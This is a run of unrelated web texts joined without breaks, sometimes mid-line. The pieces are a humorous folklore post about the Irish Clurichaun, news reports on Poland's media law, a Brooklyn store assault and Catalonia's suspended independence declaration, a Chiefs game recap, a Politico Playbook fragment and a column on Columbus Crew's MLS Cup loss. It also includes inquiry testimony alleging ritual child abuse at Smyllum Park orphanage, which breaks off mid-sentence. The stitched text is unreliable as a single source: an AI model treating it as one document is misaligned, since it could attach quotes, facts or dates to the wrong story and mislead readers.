Yet in the county of Cork it would seem that the Cluricaun, of which we shall presently speak, used to enact the part of Nis or Boggart. Mr. Croker tells a story of a little being, which he calls a Cluricaun, that haunted the cellar of a Mr. Macarthy, and in a note on this tale he gives the contents of a letter informing him of another Little Wildbean, that haunted the house of a Quaker gentleman named Harris, and which is precisely the Nis or Boggart. This Wildbean, who kept to the cellar, would, if one of the servants through negligence left the beer-barrel running, wedge himself into the cock and stop it, till someone came to turn it. His dinner used to be left for him in the cellar, and the cook having, one Friday, left him nothing but part of a herring and some cold potatoes, she was at midnight dragged out of her bed, and down the cellar-stairs, and so much bruised that she kept her bed for three weeks. In order at last to get rid of him, Mr. Harris resolved to remove, being told that if he went beyond a running stream the Cluricaun could not follow him. The last cart, filled with empty barrels and such like, was just moving off, when from the bung-hole of one of them Wildbean cried out, “Here, master! Here we go all together!” “What!” said Mr. Harris, “dost thou go also?” “Yes, to be sure, master. Here we go, all together!” “In that case, friend,” replied Mr. Harris, “ let the carts be unloaded ; we are just as well where we are.” It is added, that “Mr. Harris died soon after, but it is said the Cluricaun still haunts the Harris family (Keightley, 1878, p369)
Beating up the cook seems a wee bit of an over-reaction to a substandard dinner, but that’s the Clurichaun for you. A mean drunk. Like Leprechauns and distinguished from a number of other more sociable fairies, Clurichauns are solitary folk. Like George Thorogood, they drink alone. With nobody else. This is in large part why there is some argument as to whether Clurichauns are just Leprechauns gone wrong. Leprechauns, of course, deny the association, according to the mythology. Let’s face it, if your name is “Wildbean”, you have a lot to be angry about. Unpleasant appellations seem to be part of the Clurichaun oeuvre. For instance, the Clurichaun said to inhabit the Irish baronial residence called Carrick Castle had the similarly odd name of “Leather Apron” (Graves 1863, p277). Irish poet William Butler Yeats considered the issue.
The Lepracaun, Cluricaun, and Far Darrig. Are these one spirit in different moods and shapes? Hardly two Irish writers are agreed. In many things these three fairies, if three, resemble each other. They are withered, old, and solitary, in every way unlike the sociable spirits of the first sections. They dress with all unfairy homeliness, and are, indeed, most sluttish, slouching, jeering, mischievous phantoms. They are the great practical jokers among the good people. The Lepracaun makes shoes continually, and has grown very rich. Many treasure-crocks, buried of old in war-time, has he now for his own. In the early part of this century, according to Croker, in a newspaper office in Tipperary, they used to show a little shoe forgotten by a Lepracaun. The Cluricaun (Clobhair-ceann, in O’Kearney) makes himself drunk in gentlemen’s cellars. Some suppose he is merely the Lepracaun on a spree. He is almost unknown in Connaught and the north. The Far Darrig (fear dearg), which means the Red Man, for he wears a red cap and coat, busies himself with practical joking, especially with gruesome joking. This he does, and nothing else (Yeats, 1918, p85).
We’ve all had that over-achieving cousin to which we are compared. Those capitalist Leprechauns are busy cobbling, and accumulating wealth. Everybody loves them. It has to be hard on the poor Clurichaun, who is a disappointment to everyone. Looks like a Leprechaun, so you think you might get a pot of gold or a few wishes. More likely, he will vomit on your shoes, having just ransacked the wine cellar. Ireland’s National Leprechaun Museum (http://www.leprechaunmuseum.ie) makes no mention of the Clurichaun, which considering the close connection with Leprechauns has to be a bit of a slap in the face for the Clurichaun. It could drive one to drink. As observed by American journalist Finley Peter Dunne, “Alcohol is necessary for a man so that he can have a good opinion of himself, undisturbed by the facts”.
References
Graves, James. Anonymous Account of the Early Life and Marriage of James, First Duke of Ormonde. The Journal of the Kilkenny and South-East of Ireland Archaeological Society New Series, Vol. 4, No. 2, pp. 276-292, 1863.
Keightley, Thomas, 1789-1872. The Fairy Mythology: Illustrative of the Romance and Superstition of Various Countries. New ed., rev. and greatly enl. London: G. Bell, 1878.
Yeats, W. B. 1865-1939. Irish Fairy And Folk Tales, Ed. New York: Boni and Liveright, inc, 1918.WARSAW — Poland’s president, Andrzej Duda, signed a law on Thursday that gives the government greater control over state broadcasters, despite the objections of European Union officials who fear that the measure will weaken freedom of the press.
The legislation will allow Poland’s new conservative government to appoint and dismiss the executives in charge of public television and radio broadcasters. Until now, politically independent bodies made those decisions.
Malgorzata Sadurska, who as the head of the presidential chancellery is Mr. Duda’s top aide, said the new law was intended to ensure that the state news media are “unbiased, objective and credible.”
After the lower house of the Polish Parliament passed the measure on Dec. 30, the European Commission took the extraordinary step of scheduling a discussion for Jan. 13 on rule of law in Poland. The European Union, which Poland joined in 2004, requires that member states respect the rule of law; a country that is found to systematically violate the rule of law can be stripped of voting rights, something that has never happened in the bloc’s history.A Brooklyn grocery store owner was charged with assault on Monday for hitting a 15-year-old boy in the head with a hammer during a confrontation at his store, the police said.
The store owner, Ahmed Salah, 36, was dozing in the back of his store, Munchies Grocery, in Brownsville, Brooklyn, on Sunday night when he heard a commotion, the police said. Witnesses said later that the 15-year-old and two friends tried to rob the store and that Mr. Saleh grabbed a hammer and struck the boy.
The boy, identified by his family as Bunkless Bovian, was listed in critical condition in the pediatric unit of Brookdale University Hospital on Monday night. The police said they had not discovered stolen property on the boy and were uncertain about whether he had been involved in any crime.
But an employee at the store, Zack Kassim, 19, said that Bunkless and two friends had entered the store on Sunday night and immediately started shoving cakes, candies and sodas into their pockets. Mr. Kassim said that when he yelled at the boys they ran behind the cash register and one of them slashed him with a box cutter.
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“They were trying to rob us,” Mr. Kassim said on Monday, displaying cuts on his left wrist and forearm. “They weren’t playing around. If it was outside, in the store, it would be different. But when they came behind the counter it was something else.”
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Family members described Bunkless, who lives in a public-housing project near the store, as an avid basketball player with a dresser full of trophies to prove it. He has three brothers and four sisters and attends Intermediate School 323, his family said. They said he was known as Bullaboo.The Kansas City Chiefs are 2-0.
Yes, you read that right -- Two wins and zero losses. The Chiefs defeated the Cleveland Browns 16-14.
The defense is to thank in this one once again holding the opponent to 14 points. The Chiefs offense was fairly inconsistent outside of two drives with 11-plus plays and 60-plus yards that resulted in field goals. The return game was non-existent.
But...the Chiefs do have Brandon Flowers. He scored Kansas City's lone touchdown on an interception return.
It wasn't pretty but it is a HUGE victory for the Chiefs. Watch out, San Fran. Arrowhead will be rockin' next week.
The good, the bad and the ugly is after the jump.
Good
Chiefs defense once again held the opponent to 14 points.
The Chiefs created turnovers, highlighted by Flowers' touchdown.
Bad
Matt Cassel and the Chiefs offense couldn't ice it with a touchdown in the fourth quarter after a 14-play drive.
Eric Berry made two critical mistakes giving up a big play to Ben Watson and a 65-yard touchdown to Josh Cribbs.
UglyA woman yesterday told how she was subjected to a Satanic sex ritual by nuns at a notorious orphanage.
She described the sisters who ran it as a sadistic ‘cult’ which presided over bizarre rituals.
In extraordinary evidence at the Scottish Child Abuse Inquiry (SCAI), she told how she was sexually assaulted in a candlelit chapel in the grounds of the Smyllum Park home run by the nuns.
The man she said was responsible was wearing a hood – and the sisters told her he was ‘the Devil’.
Afterwards, she said she was buried alive overnight at the orphanage in Lanark, then forced to bathe in what she was told was blood.
The claim comes after previous allegations that deaths of children at Smyllum were ‘covered up’
In other chilling evidence, the SCAI heard a young girl was beaten by nuns – and never seen again.
The claim comes after previous allegations that deaths of children at Smyllum were ‘covered up’.
The testimony about the Satanic sex ritual is the latest in a catalogue of evidence about abuse at the home, which was run by a Catholic religious order and closed in 1981.
The alleged victim addressed a hearing in Edinburgh yesterday, using the name Janie, and said she had been born in 1961 and was admitted to Smyllum in 1965.
She said: ‘To be honest, nowadays I think they were a cult.
‘They would take us from our beds at night, they would take us to the big field [outside Smyllum].
‘There was quite a lot of us, with the sisters, five or six of them, maybe more. They would take us out into a big field and make us stand in a circle and dance around a tree.
‘They would take us to the back of a chapel, they would take us down the stairs – it was dingy and dark with candles. There would be a big square slab, they laid me on that.’
Janie said: ‘I was sitting on one of the nun’s knees, they gave me a lollipop. They said, “The Devil’s coming out now”.’
She said she did not know who her abuser was but ‘it was a guy in a hood – and they said it was the Devil’. She was sexually abused by the man then taken outside, where they ‘buried me alive, left me there’.
One of the nuns whispered to her: ‘Don’t worry, you will get back out.’
She said she was ‘buried in a drain’ and left overnight, and released in the morning.
Janie said the nuns dragged her upstairs in the home, where she was forced to take a bath in what she was told was blood, but now believes to be ‘red dye’.
She said: ‘They made out it was blood, they soaked me under it.’
Smyllum provided care for orphans but also children from poor, working-class families and troubled homes
Janie also said she was ‘constantly’ tied to her bed and had masking tape placed over her face while nuns tried to suffocate her with a pillow.
On other occasions she was trapped in a wardrobe in her room, but was never sure why.
Janie said: ‘I’ve not got a clue. It’s just like they liked doing it. Maybe I was hyper, or wanted to play.’
She said the children were once woken by a nun carrying a box that she had said contained a baby.
Janie said: ‘She woke up the dormitory |
for my daughters than it was for my grandmothers. And I say that not just as President but also as a feminist.” http://bit.ly/2aWWtk8
BUSINESS BURST -- “Cash Flies Commercial and Other Secrets of Moving Money: Just three banks handle the bulk of the global ‘bank notes’ business,” by Emily Glazer in the Wall Street Journal: “[T]he business of moving cash around the world remains a largely secretive and burdensome specialty -- one that fewer and fewer banks are willing to undertake. Just three lenders now handle the bulk of the global ‘bank notes’ business: Bank of America Corp., Bank of Ireland in Europe and United Overseas Bank Ltd. in Asia … Banks that take it on need a global network of vaults and partners among armored-car operators and airlines, because most cash flies commercial. Banks get paid fees based in part on the weight of the money they move, and they don’t get paid a lot. Bank of America typically handles hundreds of millions of dollars a day for about two hundredths of a percentage point of the face value, people familiar with the process said. At that rate, shipping $100 million only brings in about $20,000. Bank of America’s total global revenue from the business is about $100 million a year.” http://on.wsj.com/2aYbO56
Playbookers
-- Several senior Democrats at Bobby Vans on 15th Street for a “Friends of Amy Dacey” event to celebrate her service to the Democratic National Committee. SPOTTED: Trish Hoppey, Jen Pihlaja, Cornell Belcher, Anna Burger, Amy Brundage, Parita Shah Selfridge, Lindsey Reynolds, Tom McMahon, Anu Rangappa, Jessica Borchert, Stephanie Schriock, Karin Johanson, George Rakis, Matthew Fitzgerald, Colin Ward, Maureen Guarde, Rich and Parker Moore, Katherine Miller, Margie Omero and Jule Mulvey and Steve Rosenthal.
SPOTTED: POTUS and family were at Fiola Mare Thursday evening for his birthday dinner, while Biden was spotted just a couple blocks away eating dinner at Café Milano … in Liz Cheney’s most recent campaign finance filing: Alan Simpson and Herb Kohler! … Power breakfast scene at the Four Seasons Thursday: Adrienne Arsht, Capricia Marshall, Michael LaRosa, Todd Malan, Jesse Rodriguez, Carol Melton, Anne Brady and Matthew Sheridan … New Jersey Gov. Chris Christie having lunch at the Au Bon Pain on 17th Street between H and I, NW with two other people and N.J. State Troopers a respectful distance away.
Happy 55th, Barack! A brother to me, a best friend forever. pic.twitter.com/uNsxouTKOO — Vice President Biden (@VP) August 4, 2016
THE NEW GILDED AGE -- “The W Washington throws its hat in the $500,000 inaugural weekend market,” by WaPo’s Helena Andrews-Dyer: “Refusing to be Trumped by the Trump International Hotel’s $500,000 inauguration deal, the W Washington D.C. Hotel is now offering its own half-million package to celebrate the next president. For the price of a nice condo, politically minded big spenders get three nights in the W’s 1,176 square foot presidential suite, catered meals, spa treatments and their very own inaugural ball — sort of. Included in the weekend deal is a private sit-down dinner for 250 on the POV rooftop, which overlooks the White House.” http://wapo.st/2ayxC7z
BON APPETIT: D.C. takes three spots on Bon Appetit’s 50 best new U.S. Restaurants -- Bad Saint … The Dabney …Tail Up Goat. Full list here: http://bit.ly/2aMTSu6
BRET BAIER -- in Men’s Journal, “How Fox News’ Bret Baier Sheds Pounds (Even in an Election Year):” “A good day for me will be a run in the morning, then some eggs to start, a protein shake at lunch, and then dinner of a salad with fish or chicken and no alcohol. I need that brain food because once I go on air, it doesn’t stop, from 6 pm until as late as 2 am. Right now I’m cruising — 212 pounds and dropping. I’m striving for the 1 in front again by November.” http://mjm.ag/2aR4kiv
MILESTONE -- President Obama gave the last question at Thursday’s Pentagon press conference to NBC’s Jim Miklaszewski, who is retiring after more than 30 years. http://bit.ly/2aBlSi1
SUNDAY SO FAR:
--NBC’s “Meet the Press”: Panel: Yamiche Alcindor, Mark Halperin, Hugh Hewitt and Joy Reid.
--ABC’s “This Week”: Panel: Matthew Dowd, Sara Fagen, Roland Martin and Cokie Roberts
--CBS’s “Face the Nation”: Sen. Jeff Flake (R-Ariz.) … New poll results
--"Fox News Sunday": Newt Gingrich... Rep. Xavier Becerra (D-Calif.)... Panel: George Will, Lisa Lerer, Lisa Boothe, Jerry Seib
BIRTHWEEK (was yesterday): Iowa’s Lt. Gov. Kim Reynolds is 57... screenwriter Allison Abner... The Hill’s Bob Cusack … Richard Carlbom, principal at United Strategies, former Director of State Campaigns at Freedom to Marry and campaign manager of Minnesotans United for All Families, turned 35 (h/t Devin Driscoll)... Fritz Fitzpatrick, the pride of Austin... (was Tues.): Kristin Carvell Hardwick, head of comms for Gas Power Systems at GE Power
BIRTHDAYS: Ryan Wrasse, comms director for Sen. Thune … Taylor Griffin, co-owner at Cypress Creek Food Co./Fresh Ventures and managing partner at Sulgrave Partners LLC … Jeremy Flantzer of Booz Allen … Matt Mandel, head of legislative affairs at the Wireless Infrastructure Association and Glover Park alum... Heidi Nel, principal at Picture Motion (h/t Jen Nedeau)... Rufus Gifford, U.S. Ambassador to Denmark, is 42... Bloomberg congressional reporter James Rowley, the pride of Rochester... Rumored Virginia Gubernatorial/Virginia Senate candidate Pete Snyder, celebrating with wife Burson and daughter Bee... Kris Eisenla, a partner in Luna Eisenla Media and a DeGette alum (h/t Kevin Kelley)... Nicolas Boullet... Nev. Gov. Brian Sandoval is 53... Rep. Mike Doyle (D-Pa.) is 63... Politico alum Lila Cohn, who’s going to grad school this fall, is 28... CBS News’ Alicia Amling... Cary Gibson, healthcare lobbyist for Prime Policy Group, celebrating at 40k feet, enjoying some August recess R and R (h/t Abbi Stuaan)... RNC national deputy political director Molly Donlin O’Driscoll … Cicely Simpson … Colleen Fisher of the Dept. of Commerce … WashPost’s Michael Chandler... James Franklin Blue III of the PBS Newshour... Christine Forester …
... LATimes’ Jim Puzzanghera … Ashley Pitts... Kathy Rust... Monique Dorsainvil, deputy chief of staff at White House Office of Public Engagement, is 3-0... Topf Wells... Julie Hughes, the one in MN... Dennis Lonergan... Tom Healy... Miguel... Alejandro Balkin (h/ts Teresa Vilmain)... former Rep. Andrea Seastrand (R-Calif.) is 75... Monica Thompson of the House Office of the Law Revision Counsel... Dana Ferreira of Rep. Jeff Denham’s office... Nicholas Rodman of the House Republican Study COmmitteee... Steven Leraris of Feinstein... Kristy Huxhold of John Carney... Mary Beth Barrows of Rubio (h/ts Legistorm)... Politico alum Abby Milberg … ABC’s Luis Martinez … Patrick Ewing … Julie Hughes … Corey Johnson, reporter for The Marshall Project... Katie Vlietstra Wonnenberg, VP of gov’t relations and public affairs for the National Association for the Self Employed... Jason Pollock is 35... Ron Bouchard is 5-0... actor John Saxon is 8-0... College Football Hall of Famer and former NFL player Roman Gabriel is 76... Loni Anderson is 71... author David Baldacci is 56 (h/t Harris)... Basketball Hall-of-Famer Patrick Ewing is 54... Jesse Williams (“Grey’s Anatomy”) is 36... actor Albert Tsai is 12 (h/ts AP)
SUBSCRIBE to the Playbook family: POLITICO Playbook http://politi.co/1M75UbX... New York Playbook http://politi.co/1ON8bqW...Florida Playbook http://politi.co/1JDm23W... New Jersey Playbook http://politi.co/1HLKltF... Massachusetts Playbook http://politi.co/1Nhtq5v... Illinois Playbook http://politi.co/1N7u5sb... California Playbookhttp://politi.co/1N8zdJU...Brussels Playbook http://politi.co/1FZeLcw... All our political and policy tipsheets http://politi.co/1M75UbX
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Daniel Lippman @dlippmanCatalonia's leader said on Tuesday that he had a mandate to declare independence from Spain but stopped short of actually doing so, suspending secession for "a few weeks" to pursue negotiations with the Spanish government.
The central government in Spain responded that it did not accept the declaration of independence by the separatists and did not consider the Oct. 1 referendum or its results to be valid.
In his highly anticipated speech to the regional parliament, Catalan President Carles Puigdemont said the landslide victory in the referendum gave his government the grounds to implement its long-held desire to break century-old ties with Spain.
But he proposed that the regional parliament "suspend the effects of the independence declaration to commence a dialogue, not only for reducing tension but for reaching an accord on a solution to go forward with the demands of the Catalan people."
"We have to listen to the voices that have asked us to give a chance for dialogue with the Spanish state," Puigdemont said.
That would help reduce political tensions and reach "an accord on a solution to go forward with the demands of the Catalan people," he said.
About two dozen tractors flying secessionist flags paraded near parliament and thousands of separatists gathered in the promenade next to Barcelona's Arc de Triomf, where the movement's main grassroots group has called for a rally.
Critics respond
Spain's Deputy Prime Minister Soraya Saenz de Santamaria said that the Spanish government will hold an emergency Cabinet meeting on Wednesday at 9 a.m. local time.
Saenz de Santamaria signalled that Spain's government was in no mood to talk, saying that the Catalan leader "doesn't know where he is, where he is going and with whom he wants to go."
The Spanish government doesn't accept the "implicit" declaration of independence by the Catalan separatists and the results of a banned referendum can't be considered valid, an official said.
Spanish police officers stand guard at the entrance to the Parliament of Catalonia in Barcelona on Tuesday. Crowds were expected to gather ahead of Catalan regional President Puigdemont's planned address. (Emilio Morenatti/Associated Press)
The official, who spoke on condition of anonymity in line with Spanish government policy, told The Associated Press that the government of Prime Minister Mariano Rajoy cannot accept validating a Catalan referendum law that was suspended by Spain's Constitution and called the referendum "fraudulent and illegal."
Rajoy's government "considers it inadmissible to make an implicit declaration of independence and then leave it in suspension in an explicit manner," according to the official.
Puigdemont was highly critical of the Spanish government's response to the referendum and the violent police reaction that left hundreds injured on voting day, but said Catalans have nothing against Spain or Spaniards, and that they want to understand each other better.
"We are not criminals, we are not crazy, we are not pulling off a coup, we are not out of our minds. We are normal people who want to vote," he said.
Opposition leader Ines Arrimadas of the Ciudadanos (Citizens) party slammed the speech.
"This is a coup. Nobody has recognized the result of the referendum. Nobody in Europe supports what you have just done," she said.
"Stop saying the Catalan people are united. Above all after what you have done. You have forced us to turn against one another," she said, addressing Puigdemont during the parliament session.
"The majority of Catalans feels they are Catalans, Spanish and Europe … We won't let you break our hearts into bits," Arrimadas said.
Socialist leader Miquel Iceta also was highly critical.
"You are proposing to suspend a declaration that hasn't been made — that's pretty tough," he said with irony, adding that "you can't claim a mandate from the Oct. 1 vote … a vote that had no guarantees."
Puigdemont, centre, is applauded by standing separatist lawmakers after delivering his speech. (Albert Gea/Reuters)
Puigdemont's speech marked a critical point in a decade-long standoff between Catalan separatists and Spain's central authorities. Security was tight in Barcelona and police cordoned off a park surrounding the legislative building.
In Brussels, European Council President Donald Tusk pleaded directly with the Catalan leadership ahead of the speech to choose dialogue rather than a divisive call for independence.
"I ask you to respect in your intentions the constitutional order and not to announce a decision that would make such a dialogue impossible," he said.
Catalonia, an autonomous region in Spain, could declare its independence following a referendum on Oct 1 — a contentious prospect that has sparked division in the region and throughout the country 2:00
A full declaration of secession — or an outright proclamation of a new Catalan Republic — would have been met with fierce opposition by central Spanish authorities, who could take the unprecedented step of suspending the self-government of Catalonia and taking over some or all powers in the region.
Puigdemont himself could end up in prison.
Some 2.3 million Catalans — or 43 per cent of the electorate in the north-eastern region — voted in the referendum, which the Spanish government said was illegal. Regional authorities say 90 per cent who voted were in favour and declared the results of the vote valid. Those who opposed the referendum had said they would boycott the vote.
A couple with a Catalan flag embrace during a rally in Barcelona Tuesday. (Francisco Seco/Associated Press)
Rajoy's government had repeatedly refused to grant Catalonia permission to hold a referendum on the grounds that it was unconstitutional, since it would only poll a portion of Spain's 46 million residents.
Growing divide
Catalonia's separatists camp has grown in recent years, strengthened by Spain's recent economic crisis and by Madrid's rejection of attempts to increase self-rule in the region.
The political deadlock has plunged Spain into its deepest political crisis in more than four decades, since democratic rule was restored following the dictatorship of Gen. Francisco Franco.
In the streets of Barcelona, expectations ahead of the speech were divided between those who want to see the birth of a new nation and others opposed to the idea. Some feared a drastic backlash from the Spanish central authorities.
"I am thrilled," said Maria Redon, a 51-year-old office worker. "I've been waiting for this all my life. We have fought a lot to see an independent Catalonia."
Mossos d'Esquadra, Catalan regional police officers, stand guard outside the Catalonian regional parliament in Barcelona on Tuesday. (Rafael Marchante/Reuters)
But Carlos Gabriel, a 36-year-old waiter, said that is "impossible."
"He won't do it. By doing so he would be diving into an empty pool," he said. "These people know it's just a dream. Something very complicated. Something that will carry many negative consequences for all of us."
In Catalonia and elsewhere in Spain, people were reading between the lines of politicians' statements to try to figure out what's next.
Any declaration of independence won't immediately lead to the creation of a new state because the Catalan government will need to figure out how to wrest control of its sovereignty from a Spanish government that has the law, and international support, on its side, said Joan Barcelo, a researcher of political conflicts at Washington University of St. Louis.
Catalan regional President Puigdemont arrives at the parliament in Barcelona on Tuesday. (Manu Fernandez/Associated Press)
He said any declaration must be viewed through the lens of "the Catalan government's long-term strategy of provoking an extraordinary and even clumsy reaction from central authorities" to build support.
Hundreds of thousands have turned out for street protests in Barcelona and other towns in the past month to back Catalan independence and protest against police violence during the vote. Those committed to national unity have also staged separate, large-scale rallies.
The tension has already affected the economy, with dozens of companies relocating their corporate addresses to remain under Spanish and European laws if Catalonia manages to secede. The moves of the firms' bases have not so far affected jobs or investments, but they don't send a message of confidence in the Puigdemont government.A memorable season, month, and week culminated in an unforgettable night to forget.
After surrendering two of the most horrific and incalculably bizarre goals in MLS Cup history within the first seven minutes of the game, Columbus Crew SC dropped a 2-1 decision to the Portland Timbers at MAPFRE Stadium, denying Columbus its second MLS Cup title and giving Portland the city’s first major pro sports championship since the 1977 Trail Blazers conquered the NBA.
As lumberjack-looking Oregonians absorbed several pounds of celebratory confetti into their mammoth beards, more than 20,000 hearts bursting with black & gold turned black & blue. The Portland Timbers are a worthy champion, so there was always the very real possibility that the game was going to end that way.
It’s the beginning that will forever remain inconceivable. To see it wasn’t to believe it.
***
“I think you could see a little bit of nerves,” Crew SC Sporting Director and Head Coach Gregg Berhalter told the assembled media at the postgame press conference. “Steve [Clark] gets hundreds of balls, thousands of balls, played to him during the course of the season and he rarely makes a mistake like that and you have to live with it.”
Two and a half hours earlier, Crew SC had possession off of a goal kick just moments after the opening kickoff. Portland’s Diego Valeri ran at Coulmbus’ Wil Trapp, pressuring him into dumping the ball back to his goalkeeper, Clark. Under Berhalter, Crew SC likes to play out of the back. Clark routinely makes plays with his feet in order to keep possession. Rather than booting the ball up the field for a 50/50 challenge, Clark will try to control the ball and find one of his defenders so Columbus can keep the ball and move it forward. There can certainly be scary moments from time to time, but nothing like what transpired next.
Clark’s first touch failed him. The ball spun off to his left side, somewhat behind him. As he turned to get his left leg in position to boot the ball, Valeri never stopped his relentless run from Trapp to the goalmouth. As Clark swung his left leg, Valeri slid into the ball’s path. One thud was instantly followed by a second thud. After the ball caromed into the Columbus net a mere 27 seconds into the match, there was a third thud, which was the sound of 21,747 jaws simultaneously hitting aluminum bleachers.
“We support him and mistakes are part of the game,” Berhalter said. “The start wasn’t good. The start was certainly not good.”
It was somehow about to get worse.
***
The second goal game just six minutes later and it was a comedy of unfunny errors. The first error was when the assistant referee failed to notice that a Portland pass went a foot or two out of bounds. It wasn’t the “two yards” that Taylor Twellman declared on TV, but it was still plenty obvious. So much so that I took my own eyes off the play and scanned the crowd to soak up the atmosphere. The stadium was so loud during the game that I couldn’t hear referee whistles from the radio location, so I just assumed they called it. (Heck, I couldn’t even hear Dwight Burgess and Neil Sika’s broadcast and they were standing directly in front of me.) When I heard swelling howls of protest from the crowd, I looked down and saw Darlington Nagbe on the dribble, then Nagbe passing it to Lucas Melano, who hit a one-time cross into the box, where Rodney Wallace darted inside of Harrison Afful to head home a goal to make it 2-0.
I had no idea how Portland went from a Columbus throw-in to a counterattack goal so quickly. Then I saw the replay. Tony Tchani casually walked the ball to the sideline with his feet, preparing to take the obvious throw-in, totally oblivious to the fact that the officials had unbelievably blown the call, and therefore not the whistle. That was the second error. The third error was the marking in the box.
It was a disastrous domino effect of nonfeasance. After a memorable playoff run and a full week of electrifying build-up in Central Ohio, MLS Cup appeared to be over as soon as it started. Eager anticipation morphed into a surreal nightmare in about the time it takes to listen to “Comfortably Numb.”
I was uncomfortably so.
***
Kei Kamara put Columbus on the board in the 18th minute on a crazy, sloppy goal off of a goalkeeper spill in front of the Portland net. Like Valeri’s goal in the first minute, it was a score born of luck and determination. Improbably, with 72 minutes left to play, it would be the last shot on goal of the game for Columbus. Portland kept it together in the back in near-flawless fashion. Crew SC had possession but rarely threatened. From an Ohioan’s point of view, the game settled into a “hopeful but not optimistic” kid of vibe. Something good could happen at any moment, yet it didn’t seem likely. Heading into the MLS Cup final, there was a reason Portland was 17-0-3 in all competitions when scoring the first goal.
The Timbers threatened on numerous occasions in the second half, denting the woodwork a few times and also running up against some fine Steve Clark saves. There was a while where I tried to convince myself that all of Portland’s narrow misses were a sign of Timber doom. They would pay for not putting the game away. Somehow, Crew SC would get the benefit of a bounce at the other end and the game would cruelly, suddenly be tied. But it turns out Columbus used up all of its good fortune on the defensive end of the field in the second half.
The tying goal never came.
Nor did the second MLS Cup title in Columbus Crew SC history.
***
Being a Clevelander, I thought once Columbus won MLS Cup in 2008, I was set. Of course, I’d want the Black & Gold to win more titles, and boy oh boy do I ever want one of my Cleveland teams to end my hometown’s legendary championship drought, but no matter what, I’d always have 2008. I’d lived it. Not only that, but I’d lived it up close and personal. No amount of sporting catastrophe can ever take that away from me. 2008 is something I could always go back to.
And that’s true.
But that only goes so far. What surprised me was how much I craved a championship in 2015. I was a nervous wreck in the week leading up to the game. The thing is, once you’ve experienced the ultimate thrill, you want so badly for others to have the same experience. Now I think I understand why dynasty-level teams in various sports seem to add a ring-free veteran to the roster as a rallying point. To know the feeling is to desperately want it for others.
I wanted it for Anthony Precourt, who bought the club in 2013 and revitalized it in a way that I can’t honestly say I saw coming. The support of the community through this playoff run has been astonishing. I wrote about it last time, but it has been amazing and surreal to absorb the enthusiasm from Central Ohio relating to this team. My arrival in Columbus coincided with MLS’ arrival in Columbus. In those 20 years, I haven’t seen anything like this community-wide playoff push.
I wanted it for the front office staff, most of which wasn’t here in 2008. I know how hard they work and I know how much the MLS Cup victory meant to the staff seven years ago, so I wanted it for today’s group.
I wanted it for the fans. There are many fans who may have been too young to appreciate 2008, or who didn’t become fans until afterward. I’ve talked to many of them. I wanted them to know how it feels. And for the fans who were around in 2008, I wanted them to experience it again, because, well, it’s awesome.
I wanted it for the city. I think the pool of community support for Crew SC is much broader than in 2008. I wanted to see what a championship in that climate would feel like #ForColumbus.
Gregg Berhalter, Josh Wolff, Pat Onstad, and Steve Tashjian are no stranger to MLS Cup titles, but I wanted it for them and the entire coaching, technical, and support staff. They have built a fun and exciting team. I wanted that to be rewarded.
And, of course, I wanted it for the players. After all, at its heart, it would be THEIR achievement. I wanted Wil Trapp to experience the thrill of winning an MLS Cup championship on hometown soil for his hometown club. I wanted Federico Higuain to cement his place alongside Guillermo Barros Schelotto as an Argentine maestro who brought an MLS Cup to Columbus. I wanted it for guys like Ethan Finlay, Justin Meram, Tony Tchani, Ben Speas, Aaron Schoenfeld, Matt Lampson, and Kevan George, who were with the Black & Gold in 2012 when Kirk Urso passed away. They went through the roughest thing a team can go through; a heartache that transcends sports. Three years later, I wanted them to feel the ultimate triumph while wearing Black & Gold. In two-thousand-FIFTEEN, no less.
I could go on, but that brings me to the three images I won’t soon forget.
***
As the field was overrun with stage construction, swelling inflatables, and, ultimately, a trophy presentation, Kei Kamara sat on the grass and watched it all unfold. He was spent, physically and emotionally. MLS Cup had narrowly eluded him for the third time. He was traded from Columbus before the 2008 season kicked off and he left Kansas City for England part way through 2013. And now he had a goal, but not a win, in 2015. A refugee from Sierra Leone who had witnessed countless horrors in his youth, Kamara plays and lives with unrivaled joy as an adult. But now he was the last Crew SC player on the field. He sat. And sat. And sat.
As Kamara dejectedly watched the Portland Timbers raise that elusive trophy on his home field, Columbus fans cheered his name. “KEI KA-MAR-A (clap) (clap) (clap-clap-clap)!” They did it over and over again. For several minutes. Heart-shaped chants.
“They have always shown me love,” Kamara said afterward. “It’s not all about that for me. I want to sit out there and I want to know what it feels like to lift up that trophy. That’s why I was sitting out there and those are the things that keep you going and working harder and harder. The fans have been amazing all year and I appreciate them.”
That was indelible image number one.
***
Indelible image number two was in the postgame press conference. Michael Parkhurst sat at the table on the stage as Berhalter mercifully handled most of the speaking duties. Forget the proverbial “thousand-yard stare.” Parkhurst’s glassy eyes were a million miles away. If you didn’t want Columbus to win MLS Cup for Michael Parkhurst, you’re a Timbers fan. It’s impossible to find someone who doesn’t have great things to say about Parkhurst as a person and a teammate. There’s a reason he won the 2015 Kirk Urso Heart Award.
Prior to his stint in Columbus, he had appeared in three consecutive MLS Cups with the New England Revolution from 2005-2007. The Revs lost all three times. In 2014, he was a surprise cut from the U.S. Men’s National Team when the final roster was pared down for the World Cup in Brazil—a shocking extinguishment of a lifelong dream.
Now, a year later, he had captained his Columbus Crew SC to the MLS Cup final at home. At long last, it appeared that his day had hopefully come. I remembered how great it was to talk to Pat Noonan on the field after MLS Cup 2008. Like Parkhurst, Noonan had dropped multiple MLS Cup finals with New England before winning one in Black & Gold. My hope was that Parky would follow in his footsteps. (Columbus: Where Revs Win MLS Cups!)
As Parkhurst sat forlornly on that stage, all I could think was that it’s terrible if nice guys always finish last, but it can be even crueler if they finish second again and again and again and again.
***
The third indelible image is that of Steve Clark standing at his locker, granting interview after interview. He had given up the most infamous goal in MLS Cup history. It’s something that’s going to be replayed for as long as there are MLS Cups. To pretend otherwise would be naïve or an attempted whitewashing. I can’t imagine how it felt to be Steve Clark at the moment when it happened and I couldn’t imagine how it felt to be Steve Clark standing at his locker in the quiet room without the champagne. But there he stood. He didn’t hide in the trainer’s room and leave his teammates to answer for that play. He stood tall and answered every last question.
“I put us in a bad spot.”
“You can’t undo a goal that early so you try to make saves.”
“It’s a very difficult thing for a team when you get put in a hole after one minute. There are no second chances in championship games, so I have to shoulder that.”
“This is completely on me.”
Those are snippets just from the two minutes I was by his locker. He talked for much longer, answering variations of the same questions as each new inquisitor appeared.
